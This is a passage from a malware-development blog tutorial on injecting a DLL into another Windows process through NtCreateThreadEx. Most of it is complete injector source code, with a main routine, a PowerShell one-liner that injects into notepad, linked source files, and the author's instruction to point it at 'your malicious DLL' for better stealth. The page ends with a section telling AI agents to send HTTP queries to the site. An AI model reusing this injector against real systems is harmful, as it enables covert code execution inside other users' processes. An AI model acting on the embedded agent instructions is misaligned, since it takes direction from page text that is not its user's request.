    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
    _In_     HANDLE             ProcessHandle,
    _In_     PVOID              StartRoutine,
    _In_opt_ PVOID              Argument,
    _In_     ULONG              CreateFlags,
    _In_     SIZE_T             ZeroBits,
    _In_     SIZE_T             StackSize,
    _In_     SIZE_T             MaximumStackSize,
    _In_opt_ PPS_ATTRIBUTE_LIST AttributeList
);

#endif // !_INJECTION_H
```

{% endcode %}

Perfect. Let's start with our *actual* injection program now. The one thing that I added for QoL is a function that will attempt to get a handle on the module we specify and automatically perform some "error" handling—effectively, it's just a wrapper function for `GetModuleHandle`:

{% code title="injection.h" %}

```c
/*!
 * @brief
 *  A wrapper function for GetModuleHandleW().
 *
 * @param ModuleName
 *  The name of the module you wish to get a handle on.
 *
 * @return
 *  A handle to the specified module.
 */
HMODULE GetModule(_In_ LPCWSTR ModuleName);
```

{% endcode %}

I've defined the functions in the `injection.h` header file, and I'll actually program them out in `injection.c`:

{% code title="injection.c" %}

```c
#include "injection.h"

HMODULE GetModule(_In_ LPCWSTR ModuleName) {
	HMODULE ModuleHandle = NULL;
	if (ModuleName == NULL) {
		WARN("invalid argument(s) passed to the function");
		return NULL;
	}
	ModuleHandle = GetModuleHandleW(ModuleName);
	if (ModuleHandle == NULL) {
		PRINT_ERROR("GetModuleHandleW");
		return NULL;
	}
	OKAY("[0x%p] got a handle on \"%S\"!", ModuleHandle, ModuleName);
	return ModuleHandle;
}
```

{% endcode %}

The `GetModule` function takes the name of the module you wish to get a handle on, and tries to get a handle on it—if it can't get a handle, i.e., if `GetModuleHandleW` returns `NULL`, it'll just explicitly return `NULL`.  We'll start making our actual injection function. I like making my injection methods/functions *extremely* modular—you *could* program everything out in `main`, but it's not scalable this way. So, I'll create a "`Injection`" function. Firstly, let's define it in our `injection.h` header file:

{% code title="injection.h" %}

```c
/*!
 * @brief
 *  Injects a target process with the NTAPI
 *  One (1) of the WinAPI functions normally used for a DLL injection is going to be replaced
 *  with its NTAPI function counterpart. In this case, CreateThreadEx -> NtCreateThreadEx
 *
 * @param PID
 *  The PID of the target process
 *
 * @param DLLPath
 *  The path of the specified DLL
 *
 * @param PathSize
 *  The size of the DLLPath parameter
 *
 * @return 
 *  Bool
 */
BOOL Injection(_In_ CONST DWORD PID, _In_ LPCWSTR DLLPath, _In_ CONST SIZE_T PathSize);
```

{% endcode %}

Now, in our `injection.c`, we can make a program that's as follows:

{% code title="injection.c" %}

```c
BOOL Injection(_In_ CONST DWORD PID, _In_ LPCWSTR DLLPath, _In_ CONST SIZE_T PathSize) {

	BOOL     State          = TRUE;
	NTSTATUS Status         = 0;
	SIZE_T   BytesWritten   = 0;
	PVOID    Buffer         = NULL;
	PVOID    p_LoadLibrary  = NULL;
	HANDLE   NtdllHandle    = NULL;
	HANDLE   ThreadHandle   = NULL;
	HANDLE   ProcessHandle  = NULL;
	HANDLE   Kernel32Handle = NULL;
	
	OBJECT_ATTRIBUTES OA = { sizeof(OA), NULL };

	[...]

CLEAN_UP:

	if (Buffer) {
		VirtualFree(Buffer, 0, MEM_RELEASE);
		INFO("[0x%p] freed the allocated buffer", Buffer);
	}
	if (ThreadHandle) {
		CloseHandle(ThreadHandle);
		INFO("[0x%p] closed the handle on the thread", ThreadHandle);
	}
	if (ProcessHandle) {
		CloseHandle(ProcessHandle);
		INFO("[0x%p] closed the handle on the process", ProcessHandle);
	}

	INFO("finished with cleanup, exiting...");
	return State;

}
```

{% endcode %}

All of this looks standard to what we've been doing so far, except for the initialization of the `NtdllHandle` variable, which will be where we store the base address of the `NTDLL` module (in other words, this will hold the handle we get on `NTDLL`) via our `GetModule` function. The only difference we can see so far is the inclusion of this `OBJECT_ATTRIBUTES OA = { sizeof(OA), NULL };`.  Our `OA` structure is here because `NtCreateThreadEx` needs a pointer to this structure for one of its arguments, but we'll get there when we get there.&#x20;

{% code title="injection.c" %}

```c
    [...]
    
    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    if (ProcessHandle == NULL) {
        PRINT_ERROR("OpenProcess");
        return EXIT_FAILURE;
    }
    OKAY("[0x%p] got a handle on the process (%ld)!", ProcessHandle, PID);

    NtdllHandle    = GetModule(L"NTDLL");
    Kernel32Handle = GetModule(L"Kernel32");

    p_LoadLibrary = GetProcAddress(Kernel32Handle, "LoadLibraryW");
    if (p_LoadLibrary == NULL) {
        PRINT_ERROR("GetProcAddress");
        State = FALSE; goto CLEAN_UP;
    }
    OKAY("[0x%p] obtained the address of LoadLibraryW!", p_LoadLibrary);

    fn_NtCreateThreadEx p_NtCreateThreadEx = (fn_NtCreateThreadEx)GetProcAddress(NtdllHandle, "NtCreateThreadEx");
    if (p_NtCreateThreadEx == NULL) {
        PRINT_ERROR("GetProcAddress");
        State = FALSE; goto CLEAN_UP;
    }
    OKAY("[0x%p] obtained the address of NtCreateThreadEx!", p_NtCreateThreadEx);

    Buffer = VirtualAllocEx(ProcessHandle, NULL, PathSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (Buffer == NULL) {
        PRINT_ERROR("VirtualAllocEx");
        State = FALSE; goto CLEAN_UP;
    }
    OKAY("[0x%p] [RW-] allocated %zu-byte buffer to the target process", Buffer, PathSize);

    if (!WriteProcessMemory(ProcessHandle, Buffer, DLLPath, PathSize, &BytesWritten)) {
        PRINT_ERROR("WriteProcessMemory");
        State = FALSE; goto CLEAN_UP;
    }
    OKAY("[0x%p] [RW-] wrote %zu-bytes to the allocated buffer", Buffer, BytesWritten);
    
    [...]
```

{% endcode %}

We get a handle on the process pointed to by the `PID` we supply. After which, we use our `GetModule` function to get a handle on `NTDLL` and `Kernel32`. Why these two modules, specifically?

* `Kernel32` -> We need this for the `LoadLibrary` function so that we could load our module in the remote process's memory and have the entry point of our DLL (`DllMain`) automagically run.
* `NTDLL` -> We need to get a handle on NTDLL because we have a function prototype. We need to populate our function prototype with the address of the function we're trying to use. We're trying to use `NtCreateThreadEx` which resides in `NTDLL`, so we're going to look for it in *that* module, and once found, it's going to be assigned to our `NtCreateThreadEx` function prototype that we've defined in the `injection.h` header file.

After that, we populate our `NtCreateThreadEx` function prototype. Furthermore, we do what we've done previously, and we reach into `Kernel32` to look for `LoadLibraryW`. We allocate a buffer to the process memory with `PAGE_READWRITE` permissions and write the DLL path to that allocated buffer. Now, all that's left is to use our `NTAPI` `NtCreateThreadEx` function; which at this point, is primed and ready.&#x20;

{% hint style="info" %}
The `NTAPI` functions return a `NTSTATUS`. So, we can't use `HANDLE` here as we did in our previous examples:&#x20;

```c
HANDLE ThreadHandle = CreateRemoteThreadEx(...);
```

For this, we'll have to hold the return value of our `NtCreateThreadEx` function with a variable like:

```c
NTSTATUS Status = NtCreateThreadEx(...);
/* also recall that our *actual* NtCreateThreadEx function is labelled as
p_NtCreateThreadEx since it's a function pointer */
```

{% endhint %}

Because this function will return a `NTSTATUS`, we want to see if it returns one of the values seen here:

{% embed url="<https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55?redirectedfrom=MSDN>" %}
`NTSTATUS` values
{% endembed %}

More specifically, we want to see if the `STATUS_SUCCESS` `NTSTATUS` value gets returned, which we can see is the following value:

<figure><img src="/files/BQhVc2KScwtcHmRvrGM9" alt=""><figcaption><p><code>STATUS_SUCCESS</code></p></figcaption></figure>

From the same page, we can see what this value/code actually means:

<figure><img src="/files/EFOETaTTL3QS3DtKlxrE" alt=""><figcaption><p><code>STATUS_SUCCESS</code> description</p></figcaption></figure>

We can define this value in our header file so that we can do some error handling for our `NtCreateThreadEx` function. So, let's set the following line:

<pre class="language-c" data-title="injection.h"><code class="lang-c">#ifndef _INJECTION_H
#define _INJECTION_H

#include &#x3C;stdio.h>
#include &#x3C;windows.h>

#define DLL L"C:\\path\\to\\your.dll"
<strong>#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
</strong>#define OKAY(MSG, ...) printf("[+] " MSG "\n", ##__VA_ARGS__)
#define INFO(MSG, ...) printf("[*] " MSG "\n", ##__VA_ARGS__)
#define WARN(MSG, ...) printf("[-] " MSG "\n", ##__VA_ARGS__)
#define PRINT_ERROR(FUNCTION_NAME)                                        \
    do {                                                                  \
        fprintf(stderr,                                                   \
                "[!] [" FUNCTION_NAME "] [%s:%d] failed, error: 0x%lx\n", \
                __FILE__, __LINE__, GetLastError());                      \
    } while (0)

[...]
</code></pre>

With that done, we can finally start filling out the arguments for our `NtCreateThreadEx` function. First, I'll initialize a `NTSTATUS` variable with the other variable initializations, and then I'll start populating the arguments for the function:

{% code title="injection.c" %}

```c
    [...]
    
    BOOL     State          = TRUE;
    NTSTATUS Status         = 0; /* adding this to our list of variables */
    SIZE_T   BytesWritten   = 0;
    PVOID    Buffer         = NULL;
    PVOID    p_LoadLibrary  = NULL;
    HANDLE   NtdllHandle    = NULL;
    HANDLE   ThreadHandle   = NULL;
    HANDLE   ProcessHandle  = NULL;
    HANDLE   Kernel32Handle = NULL;
    
    OBJECT_ATTRIBUTES OA = { sizeof(OA), NULL };

    [...]
```

{% endcode %}

Now, let's finally get into the meat and [dragon bones](https://oldschool.runescape.wiki/w/Dragon_bones) of this technique. Starting with the first argument:

```c
    STATUS = NtCreateThreadEx(
            &ThreadHandle, // ThreadHandle
            ...
    );
```

The first argument (`ThreadHandle`) is *a pointer* to the `ThreadHandle` variable that will hold the base address of the thread handle when it gets created. The second parameter (`DesiredAccess`) is the access we'd like for the newly created thread. We could just specify `THREAD_ALL_ACCESS` as our argument.

```c
    STATUS = NtCreateThreadEx(
            &ThreadHandle,     // ThreadHandle
            THREAD_ALL_ACCESS, // DesiredAccess
            ...
    );
```

The next argument (`ObjectAttributes`) we supply is a pointer to the `OBJECT_ATTRIBUTES` structure we created. We assigned that structure to our `OA` variable so let's supply that for this argument:

```c
    STATUS = NtCreateThreadEx(
            &ThreadHandle,     // ThreadHandle
            THREAD_ALL_ACCESS, // DesiredAccess
            &OA,               // ObjectAttributes
            ...
    );
```

Next, we supply our process handle for the `ProcessHandle` parameter:

{% code overflow="wrap" %}

```c
    STATUS = NtCreateThreadEx(
            &ThreadHandle,     // ThreadHandle
            THREAD_ALL_ACCESS, // DesiredAccess
            &OA,               // ObjectAttributes
            ProcessHandle,     // ProcessHandle
            ...
    );
```

{% endcode %}

`StartRoutine` is the next parameter, and we can supply our `LoadLibraryW` function:

{% code overflow="wrap" %}

```c
    STATUS = NtCreateThreadEx(
            &ThreadHandle,     // ThreadHandle
            THREAD_ALL_ACCESS, // DesiredAccess
            &OA,               // ObjectAttributes
            ProcessHandle,     // ProcessHandle
            p_LoadLibrary,     // StartRoutine
            ...
    );
```

{% endcode %}

We're almost done. `Argument` is the next parameter, and though it's named differently, it's just going to be the `Buffer` that we've created since that will be holding the `DLLPath` in it at this point. As we mentioned in the previous blog with a standard DLL injection, effectively what we're doing here is `p_LoadLibrary(Buffer);`. Furthermore, `Buffer`, if you'll recall, just holds the DLL path that we've supplied. Once our `LoadLibrary` function gets this path, and it's valid, it will load the DLL into the target process's memory. Moreover, a DLL, upon being loaded in a process, will automatically run its `DllMain` function. Do you see where we're going with this? :)

{% code overflow="wrap" %}

```c
    STATUS = NtCreateThreadEx(
            &ThreadHandle,     // ThreadHandle
            THREAD_ALL_ACCESS, // DesiredAccess
            &OA,               // ObjectAttributes
            ProcessHandle,     // ProcessHandle
            p_LoadLibrary,     // StartRoutine
            Buffer,            // Argument
            ...
    );
```

{% endcode %}

The next couple of parameters are all going to be `NULL` or `0`.&#x20;

* `CreateFlags` -> `FALSE`
* `ZeroBits` -> `0`
* `StackSize` -> `0`
* `MaximumStackSize` -> `0`
* `AttributeList` -> `NULL`

{% code overflow="wrap" %}

```c
    STATUS = NtCreateThreadEx(
            &ThreadHandle,     // ThreadHandle
            THREAD_ALL_ACCESS, // DesiredAccess
            &OA,               // ObjectAttributes
            ProcessHandle,     // ProcessHandle
            p_LoadLibrary,     // StartRoutine
            Buffer,            // Argument
            FALSE,
            0,
            0,
            0,
            NULL
    );
```

{% endcode %}

After this function executes, we can do a test to see if the `NTSTATUS` value returned by it is `STATUS_SUCCESS` or not. Then, we can finally finish up and begin cleanup:

{% code title="injection.c" %}

```c
	[...]
	
	Status = p_NtCreateThreadEx(&ThreadHandle, THREAD_ALL_ACCESS, &OA, ProcessHandle, p_LoadLibrary, Buffer, FALSE, 0, 0, 0, NULL);
	if (Status != STATUS_SUCCESS) {
		WARN("[NtCreateThreadEx] failed, error: 0x%lx", Status);
		State = FALSE; goto CLEAN_UP;
	}
	OKAY("[0x%p] successfully created a thread!", ThreadHandle);

	INFO("[0x%p] waiting for the thread to finish execution...", ThreadHandle);
	WaitForSingleObject(ThreadHandle, INFINITE);
	OKAY("[0x%p] thread finished execution, beginning cleanup...", ThreadHandle);

CLEAN_UP:

	if (Buffer) {
		VirtualFree(Buffer, 0, MEM_RELEASE);
		INFO("[0x%p] freed the allocated buffer", Buffer);
	}
	if (ThreadHandle) {
		CloseHandle(ThreadHandle);
		INFO("[0x%p] closed the handle on the thread", ThreadHandle);
	}
	if (ProcessHandle) {
		CloseHandle(ProcessHandle);
		INFO("[0x%p] closed the handle on the process", ProcessHandle);
	}

	INFO("finished with cleanup, exiting...");
	return State;

}
```

{% endcode %}

With that, we're finally finished programming our injection program and we can start to compile this program. However, this is just a modular function, we haven't actually called this anywhere yet, so let's very quickly set up `main`.

{% code title="main.c" %}

```c
#include "injection.h"

int main(int argc, char **argv) {

	if (argc < 2) {
		WARN("usage: \"%s\" [PID]", argv[0]);
		return EXIT_FAILURE;
	}

	if (!Injection(atoi(argv[1]), DLL, sizeof(DLL))) {
		WARN("injection failed, exiting...");
		return EXIT_FAILURE;
	}

	else {
		OKAY("successfully injected the target process with an NTAPI function! exiting...");
		return EXIT_SUCCESS;
	}

}
```

{% endcode %}

*Now* we can finally compile the program. Remember to change the path of the DLL into where your malicious DLL is located. Yes, we can also just supply the DLL from the command line, but that's left as an exercise for you to go and do.

```c
#define DLL L"crow.dll" /* change me! */
```

## Performing the Injection

After compiling the program, we can test it out by injecting a humble notepad or paint process. Also, note that because this is just a glorified DLL injection, the caveats we've previously mentioned in the [DLL Injection blog post](/nest/mal/dev/inject/dll-injection.md#common-pitfalls), are still present here—*mechanics*-wise. The only thing we've slightly improved here is the stealth factor. Although, again, not by *much*. <mark style="background-color:orange;">Better than nothing, but definitely a long way from perfection as well</mark>. There's this really cool one-liner I like using as of late, which will start a surrogate notepad (or whatever else you want) process, and then promptly inject into it:&#x20;

{% code overflow="wrap" %}

```powershell
notepad; sleep 1; .\ntapi_dll_injector $(get-process -name notepad | select -expandproperty id)
```

{% endcode %}

<figure><img src="/files/1XnVYF5Ti9vYqb7J1Zfs" alt=""><figcaption><p>Demonstrating the injection!</p></figcaption></figure>

There we go! You've just successfully replaced one (`1`) WinAPI function with its NTAPI counterpart from NTDLL. In the next blog post, we'll replace all of the WinAPI functions with their Native API counterparts. Until then, stay safe. Keep on hackin'. You can find these files below or in the [GitHub repository](https://github.com/cr-0w/maldev/tree/main/Process%20Injection/NTDLL).

{% file src="/files/JjpCjnzRbNtlkdhdEaLH" %}

{% file src="/files/HOvZNC3TM2jjbsn9qREk" %}

{% file src="/files/TkM5R8QvqLNK5HzGjJXp" %}

## References

{% embed url="<https://www.geoffchappell.com/studies/windows/win32/ntdll/index.htm>" %}

{% embed url="<https://www.geoffchappell.com/studies/windows/win32/ntdll/api/native.htm>" %}

{% embed url="<https://www.oreilly.com/library/view/learning-malware-analysis/9781788392501/8aa60d1d-3efa-48bf-8fdc-2e3028b0401e.xhtml>" %}

{% embed url="<https://malwaretips.com/threads/theory-native-windows-api-ntapi.63573/>" %}

{% embed url="<https://en.wikipedia.org/wiki/Microsoft_Windows_library_files>" %}

{% embed url="<https://cocomelonc.github.io/tutorial/2021/12/06/malware-injection-9.html>" %}

{% embed url="<https://www.amazon.ca/Windows-Internals-Part-architecture-management/dp/0735684189>" %}

[^1]: I know it's named "`ntdllshellcodeinjection.exe`" but it's *actually* a DLL injection program. I just had a semi-fatal brain hiccup while compiling it, rest assured, it's just a typical DLL injector.

[^2]: In \*my\* opinion.

[^3]: Press "<kbd>G</kbd>" to toggle between graph mode and the regular disassembly view.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://archive.crow.rip/nest/mal/dev/inject/ntapi-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
